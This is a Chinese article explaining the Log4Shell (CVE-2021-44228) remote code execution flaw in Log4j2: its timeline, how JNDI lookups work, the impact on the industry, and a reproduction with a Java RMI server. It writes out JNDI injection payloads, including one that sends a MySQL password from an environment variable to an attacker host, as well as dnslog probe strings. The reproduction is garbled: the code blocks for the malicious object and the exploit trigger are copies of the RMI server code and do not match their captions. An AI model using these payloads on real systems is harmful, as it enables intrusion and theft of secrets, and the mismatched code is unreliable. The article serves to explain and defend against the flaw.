天天看點

Log4Shell 漏洞CVE-2021-44228 Apache Log4j2 漏洞原理 核彈級漏洞

作者:俊傑說黑客

2021年11月24日,阿裡雲安全團隊團隊成員之一的Chen Zhaojun 在進行漏洞的篩查時發現了核彈級漏洞 log4shell或log4j 或LogJam,是一個遠端代碼執行(RCE)類漏洞,存在于一個「數百萬」應用程式都在使用的開源Java日志庫Log4j2中。

11月24日,開源項目Apache Log4j2的一個遠端代碼執行漏洞被送出。

12月7日上午,Apache釋出了2.15.0-rc1版本更新。

12月9日晚,漏洞的利用細節被公開,影響範圍幾乎橫跨整個版本(從2.0到2.14.1-rc1)。

當大家紛紛更新到2.15.0-rc1之後發現,該更新檔依然可以被繞過。

12月10日淩晨2點半左右,Apache Log4j2緊急更新了2.15.0-rc2版本。

此時,各個大廠也幾乎都在熬夜搶修。

一、簡介

Log4Shell 漏洞CVE-2021-44228 Apache Log4j2 漏洞原理 核彈級漏洞

Log4Shell 這個漏洞的名字——或者一些更具傳播性的說法,諸如「網際網路正在着火」「過去十年最嚴重的漏洞」「現代計算機曆史上最大漏洞」「難以想到哪家公司不受影響」之類(參見《洛杉矶時報》

為什麼是核彈級的漏洞呢? 因為利用起來太簡單了攻擊者隻需發送一則特殊的消息到伺服器(包含類似${jndi:ldap://server.com/a}的字元串),就可以執行任意的代碼,并有可能完全控制該系統。

log4shell或是log4j2漏洞刷頻了,各種應急修複了一又一波,現在來整體盤點這個漏洞到底是什麼原理!

這個被報道得神乎其神的 Log4Shell 漏洞(CVE-2021-44228)所針對的,是一個極為常用的 Java 庫 Log4j(詳見後文說明)。值得一提,這個漏洞最初是由一名中國工程師、阿裡雲安全團隊的 Chen Zhaojun(微網誌)在 11 月24日發現并提報的。

Log4Shell 漏洞CVE-2021-44228 Apache Log4j2 漏洞原理 核彈級漏洞

有記錄的利用 Log4Shell 漏洞發起的攻擊開始于 2021年12 月 9 日,最初是針對微軟的 Minecraft 遊戲 Java 版。但人們很快發現 Log4Shell 的波及範圍遠不止于此。根據 GitHub 倉庫 YfryTchsGD/Log4jAttackSurface 中的攻擊案例截圖,Apple iCloud、QQ 郵箱、Steam 商店、Twitter、百度搜尋等一系列國内外主流服務或平台均存在該漏洞。

據火絨不完全統計,僅在Github上,就有60644個開源項目釋出的321094軟體包存在風險,這一漏洞可以說是影響了網際網路上70%以上企業系統的正常運轉。

在形象認識的基礎上,我們下面繼續從技術角度說明 Log4Shell 漏洞的原理。

Log4j 是一個 Java 語言的庫(library)。所謂「庫」,通俗地說就是服務于特定功能、可以重複利用的軟體代碼;如果在開發其他軟體時需要用到這種功能,直接拿來套用就行了,避免重複勞動。

Log4j 庫所實作的功能就類似于上面故事裡的記錄員——寫日志。由于 Java 是一種非常流行的語言,而 Log4j 是最主流、常用的 Java 庫之一,它的代碼遍及各類主流軟體和服務;這就是 Log4Shell 波及範圍廣泛的原因。

Log4j 是根據配置檔案中設定的「模闆」來記錄日志的。為了增加靈活性,Log4j 的模闆中可以留下一些特殊文法的「待定内容」;在實際生成日志時,Log4j 會根據這些文法的訓示,通過檢索、查詢、計算,将這些待定内容替換為實際内容,記錄到日志裡——正如上面那個記錄員通過翻月曆、看手表、查花名冊,補齊訪客記錄裡的空檔一樣。

那麼,Log4j 都支援補齊哪些「待定内容」呢?根據文檔,這主要包括日期時間、運作環境資訊(例如使用者名、Java 版本、系統語言)、事件資訊等。

例如,如果在模闆裡寫 ${date:yyyy-MM-dd},那麼 Log4j 就會将其替換為形如 2021-12-12 的目前日期記錄下來;如果在模闆裡寫 ${java:version},Log4j 就會将其替換為形如 Java version 1.7.0_67 的實際 Java 版本記錄下來。

不過,除了這些比較正常的待定内容,Log4j 還支援一種更為複雜的替換方式,稱為 JNDI 查詢。JNDI(Java Naming and Directory Interface)是 Java 的一項内置功能,它允許 Java 程式在一個目錄——可以想象為一個花名冊或電話本——中查詢資料。

這裡,就要提到很多攻擊例證裡出現的字樣——LDAP。LDAP(輕型目錄通路協定,Lightweight Directory Access Protocol)是網絡世界裡一種特别常見的實作「花名冊」功能的協定。簡而言之,LDAP 通過一種标準化的文法(稱為識别名,Distinguished Names 或 DN)記錄身份資訊。例如:

CN=John Appleseed,OU=Sales,O=Apple           

表示一個常用名(commonName)為 John Appleseed,所屬組織機關(organizationUnit)為 Sales,所屬組織(organization)為 Apple 的對象(通常對應一個使用者)。

LDAP 支援通過 URL 位址的形式查詢資訊。例如,通路如下位址:

ldap://ldap.example.com/cn=John%20Appleseed           

就會向 LDAP 伺服器 ldap.example.com 請求常用名為 John Appleseed 的使用者資訊。

根據文檔,JNDI 查詢的文法是 ${jndi:<查詢位置>}。一般而言,這裡的「查詢位置」是一個取決于軟體運作環境的内部位置,是以 Log4j 會自動給它加上 java:comp/env 的字首再查詢。這就好比在公司内部說「查花名冊」,預設就是指查該公司雇員的名冊一樣。

但特殊地,如果查詢位置裡包含冒号(:)——最可能的情況就是一個固定的 URL 位址,例如 ${jndi:ldap://ldap.example.com/a},那麼,Log4j 在查詢時就不會追加上述字首,而是直接向這個寫死的位址查詢資料。

實作漏洞的鍊條就此串了起來。上述功能組合在一起,造成的結果是:Log4j 在記錄日志時,可以通過 JNDI 接口,向一個外部的 LDAP 伺服器發送請求。

換言之,隻要設法讓使用了 Log4j 的程式記下一條内容形如 ${jndi:ldap://ldap.example.com/a} 的日志,那麼記下這條日志的同時,程式就會試圖向 ldap.example.com 請求查詢資料,然後解析查詢結果并寫進日志。

乍看上去,這似乎也沒什麼大不了。但是,一方面,日志的來源是廣泛而多樣的,其内容非常容易被操縱。另一方面,記錄日志往往是由一個内部伺服器或元件負責的,它們可能根本不應該與一個外部網址通訊。兩個因素結合,就使得 Log4Shell 漏洞很容易觸發,危害性又很高。

例如,很多伺服器會通過日志記錄訪客的浏覽器資訊(即 HTTP 請求頭中的 User-Agent)、登入的使用者名,或者搜尋内容。是以,隻要将這些資訊替換成 ${jndi:ldap://ldap.example.com/a} 之類構造出的内容,就可以通過簡單的浏覽、登入或搜尋操作,往伺服器裡塞進一條特殊構造的日志,緻使伺服器通路這條惡意日志中的位址。

需要指出,攻擊文本中所用的 ldap.example.com 甚至不需要是一個真正的 LDAP 伺服器。因為僅僅是讓本不應通路外網的伺服器通路外網并留下痕迹,就已經具有一定危害後果了。

留意觀察現有攻擊例證,會發現很多例子用到的攻擊文本中頻繁出現 dnslog.cn、ceye.io 等域名。這些網站的功能類似,都是允許生成一個随機網址,該網址被通路時,會記下通路者的 IP 位址等資訊并即時顯示在頁面上。是以,這類網站經常被用來測試注入式漏洞——包括這次的 Log4Shell 漏洞——的效果:如果能成功操作被攻擊主機通路自己生成的網址、留下通路記錄,則表明攻擊是有效的。

測試漏洞的人太多,連dnslog很長一段時間都通路不了,最後還用的ceye測試複現的。

例如,在下面的截圖中,攻擊者将構造的字元串作為使用者名來登入 iCloud 賬戶。顯然,這個字元串進入了 iCloud 伺服器的日志中,進而觸發漏洞,通路了字元串中所包含的域名:

Log4Shell 漏洞CVE-2021-44228 Apache Log4j2 漏洞原理 核彈級漏洞

類似地,在下面的 QQ 郵箱截圖中,攻擊者将構造的字元串填進了郵箱的搜尋框,同樣導緻了騰訊伺服器被記錄:

Log4Shell 漏洞CVE-2021-44228 Apache Log4j2 漏洞原理 核彈級漏洞

又因為 JNDI 查詢的文法是可以嵌套的,這進一步将可能洩露的内容範圍,擴大到了任何 Log4j 所能接觸到的運作環境資訊。正如一些使用者在 GitHub 上的漏洞讨論中指出,形如 ${jndi:ldap://www.attacker.com:1389/${env:MYSQL_PASSWORD} 的惡意日志,就會引導 Log4j 首先将内層的 ${env:MYSQL_PASSWORD} 替換為真實的 MySQL 資料庫密碼,然後通過 URL 洩露給 www.attacker.com。

此外,注意到 JNDI 的本意在于查詢——不僅是送出請求,而且會記錄和處理查詢結果,是以這個漏洞不僅會導緻伺服器資訊洩漏,而且允許攻擊者向伺服器傳遞任意危險内容,可能還包括執行惡意代碼。 例如,一個正常的 LDAP 伺服器在收到查詢請求時,傳回的隻是查詢到的使用者資訊。但如果這是一個攻擊者控制的「假」LDAP 伺服器,那麼它可以傳回任意惡意内容——例如一段包含竊取或破壞功能的代碼。

例如,上文提到的 BleepingComputer 報道中提到一個現有的真實案例:攻擊者将一段使用 base64 編碼的終端腳本附在 JNDI 查詢指令中,導緻被攻擊機器下載下傳并安裝了挖礦程式:

Log4Shell 漏洞CVE-2021-44228 Apache Log4j2 漏洞原理 核彈級漏洞

這種利用程式不經檢查地将文本資訊還原為對象的功能,注入和執行惡意代碼的漏洞,術語稱之為 「反序列化漏洞」(deserialization vulnerabilities),本身并非新鮮事物,在 Java 安全語境下也多有讨論。但或許是因為 Log4j 所服務的日志功能相對沒那麼引人注目,這個漏洞才蟄伏許久方被發現。

最後,當今網絡服務往往是由互相通訊的多個元件構成的。是以,即使直接接收惡意資訊的元件不受漏洞影響,這則惡意資訊也可能通過資料傳輸,在某一步被一個後端元件所記錄和執行;這極大擴充了漏洞的攻擊面和危險程度。

Cloudflare 就在針對本漏洞的博文中舉例說:假設一個物流資料系統,它讀取包裹上的二維碼資訊,通過 Log4j 記錄下來,然後傳給背景服務進一步檢索處理。那麼,攻擊者就可以将惡意構造的資訊藏在二維碼裡,通過上述流程傳給背景服務執行。

Log4Shell 漏洞CVE-2021-44228 Apache Log4j2 漏洞原理 核彈級漏洞

漏洞易補,根源難除

盡管 Log4Shell 漏洞的危害很大,但好在修複起來思路并不複雜。正如修複漏洞的 Log4j 2.15 版更新記錄所示,其主要的修複方法就是加強對 JNDI 的限制,包括預設僅限通路本地的 LDAP 伺服器(而非任意遠端位置)、禁用大部分 JNDI 通訊的協定等。

而對于暫沒有條件更新到新版 Log4j 的服務,也可以通過設定參數禁止 JNDI 查詢,或者直接把 JNDI 查詢相關代碼切割出去,進而實作彌補漏洞。

此外,「存在漏洞」并不代表「會被利用該漏洞攻擊」。正如 Ars Techinica 的文章所指出,網絡服務往往設有多層的防護機制。即使其中的一個元件存在漏洞,其風險也可能被其他元件的安全機制所阻擋和彌補。

還是以開頭的情景為例,那家公司可能從硬體層面禁止用内部分機撥打外部号碼,或者監控、阻斷員工未經授權的對外通訊,進而杜絕「記錄員」被利用的可能性。

然而,哪怕 Log4Shell 的風波随着更新檔推出逐漸消退,這一事件也能促使很多超越漏洞本身的思考。

首先是一個軟體系統設計的問題:很多評論都驚訝地指出,Log4j 的權限和「膽子」是不是太大了?區區一個「記錄員」的角色,怎麼能擅自通路未經鑒别的外部位址、甚至任意執行外部代碼呢?即使記錄不全需要後續完善,難道不也應該先原樣抄錄(例如技術上對變量做轉義處理,即當作純文字存儲),然後交給職有專司的其他元件來查詢和補充嗎?

特别是當人們找出罪魁禍首——當初引入這個漏洞的功能提案,發現提案者的主要理由隻是為了「友善」後,就更加有理由懷疑這個 JNDI 查詢功能的加入是否過于草率了。

對此,一種解釋是,這是過時開發思路的遺留。例如,Hacker News 使用者 @toyg 指出,早年的 Java 開發偏好這種大而全、一個元件實作多種功能的思路,Log4j 這些令人後怕的「豐富」功能可能就是以而來;他還認為,LDAP 傳統上是一個跑在内網上,被推定為「安全」的服務,這也容易讓人忘記設定安全防護措施。

其次,作為一個由社群維護的開源項目,Log4j 此次漏洞也讓人反思開源維護者是否得到了應有的支援和了解。事件發生後,Log4j 維護者 Volkan Yazici 在一條推文中不無委屈地說:

Log4j 的維護者們廢寝忘食地提供補救措施;發更新檔、寫文檔、送出 CVE(通用漏洞披露,資訊安全行業通用的安全漏洞披露機制——譯注)、回複詢問,等等。但這都攔不住人們來責難我們,就為了一項我們未收分文的工作,為了一項我們也讨厭、但為了向後相容不得不保留的功能。

進而有人從維護者 Ralph Goers 的 GitHub 支援者頁面發現一段頗為謙卑的陳述:

我用業餘時間開發 Log4j 等開源項目,是以一般隻 [有空] 解決那些最感興趣的問題。我一直夢想全職做開源,希望能靠你的支援夢想成真。

而略顯諷刺的是,這段話下面赫然顯示「3 人贊助了 rgoers 的工作」(情況曝光後數量略有增加)。

Log4Shell 漏洞CVE-2021-44228 Apache Log4j2 漏洞原理 核彈級漏洞

既然 Log4j 的使用如此廣泛、在各大主流服務中任勞任怨,那麼大廠的擔當和風範何在?是以有觀點主張,使用開源項目的公司有道德上的責任贊助和支援項目的維護者;還有人提出,大廠即使不提供金錢支援,是不是至少應該義務提供技術力量,輔助改進整個項目,而不是自掃門前雪,修好自己的服務了事?

還有觀點指出,這次安全漏洞再次提醒我們,開源不等于安全。盡管開源代碼是可以審計的,但很多時候并不會真正有人去認真檢查;相反,這還可能讓人們放松警惕,為 Log4Shell 這樣的嚴重漏洞留下長期潛伏的空間。

此外,維持舊版相容性與盡快更新保障安全之間的沖突,使用外部庫節約開發時間與減少不必要對外依賴之間的沖突,也是軟體設計相關的經典議題,它們同樣在這次漏洞之後的讨論中被大量提及。

影響版本:Apache Log4j 2.x<=2.15.0.rc1

影響範圍:

Spring-Boot-strater-log4j2Apache

Struts2Apache

SolrApache

FlinkApache

DruidElasticSearch

Flume

Dubbo

Redis

Logstash

Kafka

vmvare

二、複現過程

漏洞原理

最主要的漏洞成因就是下面這張圖了,log4j2提供的lookup功能:

Log4Shell 漏洞CVE-2021-44228 Apache Log4j2 漏洞原理 核彈級漏洞

日志中包含 ${},lookup功能就會将表達式的内容替換為表達式解析後的内容,而不是表達式本身。log4j 2将基本的解析都做了實作。比如常見的使用者登陸日志記錄:

Log4Shell 漏洞CVE-2021-44228 Apache Log4j2 漏洞原理 核彈級漏洞

常見解析

${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s}
${log4j}
${main}
${name}
${marker}
${spring}
${sys:logPath}
${web:rootDir}           

而其中的JNDI(Java Naming and Directory Interface)就是本次的主題了,就是提供一個目錄系統,并将服務與對象關聯起來,可以使用名稱來通路對象。

而log4j 2中JNDI解析未作限制,可以直接通路到遠端對象,如果是自己的伺服器還好說,那如果通路到黑客的伺服器呢?

也就是當記錄日志的一部分是使用者可控時,就可以構造惡意字元串使伺服器記錄日志時調用JNDI通路惡意對象,也就是流傳出的payload構成:${jndi:ldap:xxx.xxx.xxx.xxx:xxxx/exp}

我們可以将上面日志記錄的代碼簡單修改一下,假設使用者名是從外部擷取的使用者輸入,此時建構一個惡意使用者名${jndi:ladp://http://z2xcu7.dnslog.cn/exp},然後觸發日志記錄(可以借助DNSLog生成臨時域名用于檢視測試是否生效)。

Log4Shell 漏洞CVE-2021-44228 Apache Log4j2 漏洞原理 核彈級漏洞

可以看到,記錄日志時發起了JNDI解析,通路了DNS提供的域名并生成記錄。

攻擊流程

其實JNDI通過SPI(Service Provider Interface)封裝了多個協定,包括LDAP、RMI、DNS、NIS、NDS、RMI、CORBA;複現選擇了使用RMI服務,搭建較為快速。

攻擊思路(文章中使用的jdk1.8):

1、找到目标伺服器記錄日志的地方,且記錄的部分内容可控。

我們還是選擇之前的模拟日志記錄,假設站點會記錄使用者登陸日志,實際上大部分網站确實會做相關功能。

2、搭建RMI服務端,包含需要執行的惡意代碼。

RMI服務端搭建,監聽本地8888(自定義)端口,用Reference類引用惡意對象。

package server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(8888);
        System.out.println("Create RMI registry on port 8888");
        Reference reference = new Reference("server.Log4jRCE", "server.Log4jRCE", null);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("exp", referenceWrapper);
    }
}           

惡意對象模拟執行cmd打開電腦,并且輸出一個語句用于标記執行處:

package server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(8888);
        System.out.println("Create RMI registry on port 8888");
        Reference reference = new Reference("server.Log4jRCE", "server.Log4jRCE", null);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("exp", referenceWrapper);
    }
}           

執行RMIServer,建立RMI服務。

3、建構EXP觸發目标伺服器進行日志記錄觸發JNDI解析。

建構惡意使用者名模拟輸入,執行觸發惡意解析。

package server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(8888);
        System.out.println("Create RMI registry on port 8888");
        Reference reference = new Reference("server.Log4jRCE", "server.Log4jRCE", null);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("exp", referenceWrapper);
    }
}           

4、解析結果定位到搭建的惡意服務端,目标伺服器通路并觸發惡意代碼。

惡意代碼被執行,注意看惡意代碼執行記錄,是在日志記錄的地方被執行。

Log4Shell 漏洞CVE-2021-44228 Apache Log4j2 漏洞原理 核彈級漏洞

三、修複與檢測

可以通過${jndi字串比對是否受到攻擊。

修複參考連結:

https://mp.weixin.qq.com/s/mb708YuskTyek29g-3pAEg

https://mp.weixin.qq.com/s/ClNpWamMn55BkholbUbo_g

四、總結

目前已證明伺服器易受到漏洞攻擊的公司包括蘋果、亞馬遜、特斯拉、谷歌、百度、騰訊、網易、京東、Twitter、 Steam等。

據統計,共有6921個應用程式都有被攻擊的風險,其中《我的世界》首輪即被波及。就連修改iPhone手機名稱都能觸發,最主要的是這是國外黑客玩了幾個月玩膩了才公開的漏洞!

一個範圍廣的0day漏洞可能導緻整個網際網路淪為殭屍電腦或者癱瘓,網絡安全,任重而道遠。

不過早在11月24日,阿裡雲就監測到了在野攻擊并給apache報告了,隻是apache新出的版本隻是攔截了ldap,其他協定依舊有效。是以公開後很快被騰訊團隊測試可繞過,當天發出修複版本Log4j 2.15.0-rc2。